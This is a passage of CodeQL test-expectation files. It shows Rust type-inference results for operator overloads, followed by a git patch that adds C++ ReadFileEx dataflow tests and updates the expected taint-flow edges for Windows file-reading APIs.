| | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:13:1494:16 | self | | file://:0:0:0:0 | & | +| main.rs:1494:13:1494:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1494:13:1494:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:13:1494:28 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:13:1494:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:22:1494:26 | other | | file://:0:0:0:0 | & | +| main.rs:1494:22:1494:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1494:22:1494:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:33:1494:36 | self | | file://:0:0:0:0 | & | +| main.rs:1494:33:1494:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1494:33:1494:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1494:33:1494:48 | ... < ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1494:42:1494:46 | other | | file://:0:0:0:0 | & | +| main.rs:1494:42:1494:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1494:42:1494:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1497:15:1497:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1497:15:1497:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1497:22:1497:26 | other | | file://:0:0:0:0 | & | +| main.rs:1497:22:1497:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1497:44:1499:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:13:1498:16 | self | | file://:0:0:0:0 | & | +| main.rs:1498:13:1498:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1498:13:1498:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:13:1498:29 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:13:1498:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:23:1498:27 | other | | file://:0:0:0:0 | & | +| main.rs:1498:23:1498:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1498:23:1498:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:34:1498:37 | self | | file://:0:0:0:0 | & | +| main.rs:1498:34:1498:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1498:34:1498:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1498:34:1498:50 | ... <= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1498:44:1498:48 | other | | file://:0:0:0:0 | & | +| main.rs:1498:44:1498:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1498:44:1498:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1501:15:1501:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1501:15:1501:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1501:22:1501:26 | other | | file://:0:0:0:0 | & | +| main.rs:1501:22:1501:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1501:44:1503:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:13:1502:16 | self | | file://:0:0:0:0 | & | +| main.rs:1502:13:1502:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1502:13:1502:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:13:1502:28 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:13:1502:48 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:22:1502:26 | other | | file://:0:0:0:0 | & | +| main.rs:1502:22:1502:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1502:22:1502:28 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:33:1502:36 | self | | file://:0:0:0:0 | & | +| main.rs:1502:33:1502:36 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1502:33:1502:38 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1502:33:1502:48 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1502:42:1502:46 | other | | file://:0:0:0:0 | & | +| main.rs:1502:42:1502:46 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1502:42:1502:48 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1505:15:1505:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1505:15:1505:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1505:22:1505:26 | other | | file://:0:0:0:0 | & | +| main.rs:1505:22:1505:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1505:44:1507:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:13:1506:16 | self | | file://:0:0:0:0 | & | +| main.rs:1506:13:1506:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1506:13:1506:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:13:1506:29 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:13:1506:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:23:1506:27 | other | | file://:0:0:0:0 | & | +| main.rs:1506:23:1506:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1506:23:1506:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:34:1506:37 | self | | file://:0:0:0:0 | & | +| main.rs:1506:34:1506:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1506:34:1506:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1506:34:1506:50 | ... >= ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1506:44:1506:48 | other | | file://:0:0:0:0 | & | +| main.rs:1506:44:1506:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1506:44:1506:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1513:23:1513:26 | 1i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1513:31:1513:34 | 2i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1514:23:1514:26 | 3i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1514:31:1514:34 | 4i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1515:23:1515:26 | 5i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1515:30:1515:33 | 6i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1516:23:1516:26 | 7i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1516:31:1516:34 | 8i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1517:23:1517:26 | 9i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1517:30:1517:34 | 10i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1518:23:1518:27 | 11i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1518:32:1518:36 | 12i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1521:23:1521:27 | 13i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1521:31:1521:35 | 14i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1522:23:1522:27 | 15i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1522:31:1522:35 | 16i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1523:23:1523:27 | 17i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1523:31:1523:35 | 18i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1524:23:1524:27 | 19i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1524:31:1524:35 | 20i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1525:23:1525:27 | 21i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1525:31:1525:35 | 22i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1528:13:1528:30 | mut i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1528:34:1528:38 | 23i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1529:9:1529:22 | i64_add_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1529:9:1529:31 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1529:27:1529:31 | 24i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1531:13:1531:30 | mut i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1531:34:1531:38 | 25i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1532:9:1532:22 | i64_sub_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1532:9:1532:31 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1532:27:1532:31 | 26i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1534:13:1534:30 | mut i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1534:34:1534:38 | 27i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1535:9:1535:22 | i64_mul_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1535:9:1535:31 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1535:27:1535:31 | 28i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1537:13:1537:30 | mut i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1537:34:1537:38 | 29i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1538:9:1538:22 | i64_div_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1538:9:1538:31 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1538:27:1538:31 | 30i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1540:13:1540:30 | mut i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1540:34:1540:38 | 31i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1541:9:1541:22 | i64_rem_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1541:9:1541:31 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1541:27:1541:31 | 32i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1544:26:1544:30 | 33i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1544:34:1544:38 | 34i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1545:25:1545:29 | 35i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1545:33:1545:37 | 36i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1546:26:1546:30 | 37i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1546:34:1546:38 | 38i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1547:23:1547:27 | 39i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1547:32:1547:36 | 40i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1548:23:1548:27 | 41i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1548:32:1548:36 | 42i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1551:13:1551:33 | mut i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1551:37:1551:41 | 43i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1552:9:1552:25 | i64_bitand_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1552:9:1552:34 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1552:30:1552:34 | 44i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1554:13:1554:32 | mut i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1554:36:1554:40 | 45i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1555:9:1555:24 | i64_bitor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1555:9:1555:33 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1555:29:1555:33 | 46i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1557:13:1557:33 | mut i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1557:37:1557:41 | 47i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1558:9:1558:25 | i64_bitxor_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1558:9:1558:34 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1558:30:1558:34 | 48i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1560:13:1560:30 | mut i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1560:34:1560:38 | 49i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1561:9:1561:22 | i64_shl_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1561:28:1561:32 | 50i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1563:13:1563:30 | mut i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1563:34:1563:38 | 51i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1564:9:1564:22 | i64_shr_assign | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1564:28:1564:32 | 52i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1566:24:1566:28 | 53i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1567:24:1567:28 | 54i64 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1570:28:1570:28 | 1 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1570:34:1570:34 | 2 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1571:28:1571:28 | 3 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1571:34:1571:34 | 4 | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:24:1582:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:29:1582:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:24:1583:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:29:1583:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:24:1584:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:29:1584:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:24:1585:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:29:1585:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:24:1586:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:29:1586:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1589:13:1589:31 | mut vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1589:35:1589:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:9:1590:23 | vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:9:1590:29 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1590:28:1590:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1592:13:1592:31 | mut vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1592:35:1592:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:9:1593:23 | vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:9:1593:29 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1593:28:1593:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1595:13:1595:31 | mut vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1595:35:1595:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:9:1596:23 | vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:9:1596:29 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1596:28:1596:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1598:13:1598:31 | mut vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1598:35:1598:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:9:1599:23 | vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:9:1599:29 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1599:28:1599:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1601:13:1601:31 | mut vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1601:35:1601:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:9:1602:23 | vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:9:1602:29 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1602:28:1602:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:27:1605:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:32:1605:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:26:1606:27 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:31:1606:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:27:1607:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:32:1607:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:30:1608:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1609:30:1609:33 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:9:1613:32 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1613:31:1613:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1615:13:1615:33 | mut vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1615:37:1615:38 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:9:1616:25 | vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:9:1616:31 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1616:30:1616:31 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1618:13:1618:34 | mut vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1618:38:1618:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:9:1619:26 | vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:9:1619:32 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1619:31:1619:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1621:13:1621:31 | mut vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1622:29:1622:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1625:29:1625:32 | 1u32 | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1635:5:1635:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | From c1ee56e4c174893d26059bd6aa65da0ea46d9335 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 12:05:30 +0100 Subject: [PATCH 406/535] C++: Add ReadFileEx tests with missing flow. --- .../dataflow/external-models/flow.expected | 116 +++++++++--------- .../dataflow/external-models/sources.expected | 24 ++-- .../dataflow/external-models/windows.cpp | 37 ++++++ 3 files changed, 109 insertions(+), 68 deletions(-) diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index c8babcb14548..0560a4da8659 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -48,30 +48,30 @@ edges | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | | windows.cpp:23:17:23:38 | *call to GetEnvironmentStringsA | windows.cpp:25:10:25:13 | * ... | provenance | | | windows.cpp:28:36:28:38 | GetEnvironmentVariableA output argument | windows.cpp:30:10:30:13 | * ... | provenance | Src:MaD:329 | -| windows.cpp:145:35:145:40 | ReadFile output argument | windows.cpp:147:10:147:16 | * ... | provenance | Src:MaD:331 | -| windows.cpp:154:23:154:28 | ReadFileEx output argument | windows.cpp:156:10:156:16 | * ... | provenance | Src:MaD:332 | -| windows.cpp:168:84:168:89 | NtReadFile output argument | windows.cpp:170:10:170:16 | * ... | provenance | Src:MaD:340 | -| windows.cpp:245:23:245:35 | *call to MapViewOfFile | windows.cpp:245:23:245:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | -| windows.cpp:245:23:245:35 | *call to MapViewOfFile | windows.cpp:246:20:246:52 | *pMapView | provenance | | -| windows.cpp:246:20:246:52 | *pMapView | windows.cpp:248:10:248:16 | * ... | provenance | | -| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | provenance | Src:MaD:334 | -| windows.cpp:252:23:252:36 | *call to MapViewOfFile2 | windows.cpp:253:20:253:52 | *pMapView | provenance | | -| windows.cpp:253:20:253:52 | *pMapView | windows.cpp:255:10:255:16 | * ... | provenance | | -| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | provenance | Src:MaD:335 | -| windows.cpp:261:23:261:36 | *call to MapViewOfFile3 | windows.cpp:262:20:262:52 | *pMapView | provenance | | -| windows.cpp:262:20:262:52 | *pMapView | windows.cpp:264:10:264:16 | * ... | provenance | | -| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | provenance | Src:MaD:336 | -| windows.cpp:270:23:270:43 | *call to MapViewOfFile3FromApp | windows.cpp:271:20:271:52 | *pMapView | provenance | | -| windows.cpp:271:20:271:52 | *pMapView | windows.cpp:273:10:273:16 | * ... | provenance | | -| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | provenance | Src:MaD:337 | -| windows.cpp:277:23:277:37 | *call to MapViewOfFileEx | windows.cpp:278:20:278:52 | *pMapView | provenance | | -| windows.cpp:278:20:278:52 | *pMapView | windows.cpp:280:10:280:16 | * ... | provenance | | -| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | provenance | Src:MaD:338 | -| windows.cpp:284:23:284:42 | *call to MapViewOfFileFromApp | windows.cpp:285:20:285:52 | *pMapView | provenance | | -| windows.cpp:285:20:285:52 | *pMapView | windows.cpp:287:10:287:16 | * ... | provenance | | -| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | provenance | Src:MaD:339 | -| windows.cpp:291:23:291:40 | *call to MapViewOfFileNuma2 | windows.cpp:292:20:292:52 | *pMapView | provenance | | -| windows.cpp:292:20:292:52 | *pMapView | windows.cpp:294:10:294:16 | * ... | provenance | | +| windows.cpp:164:35:164:40 | ReadFile output argument | windows.cpp:166:10:166:16 | * ... | provenance | Src:MaD:331 | +| windows.cpp:173:23:173:28 | ReadFileEx output argument | windows.cpp:175:10:175:16 | * ... | provenance | Src:MaD:332 | +| windows.cpp:205:84:205:89 | NtReadFile output argument | windows.cpp:207:10:207:16 | * ... | provenance | Src:MaD:340 | +| windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:282:23:282:35 | *call to MapViewOfFile | provenance | Src:MaD:333 | +| windows.cpp:282:23:282:35 | *call to MapViewOfFile | windows.cpp:283:20:283:52 | *pMapView | provenance | | +| windows.cpp:283:20:283:52 | *pMapView | windows.cpp:285:10:285:16 | * ... | provenance | | +| windows.cpp:289:23:289:36 | *call to MapViewOfFile2 | 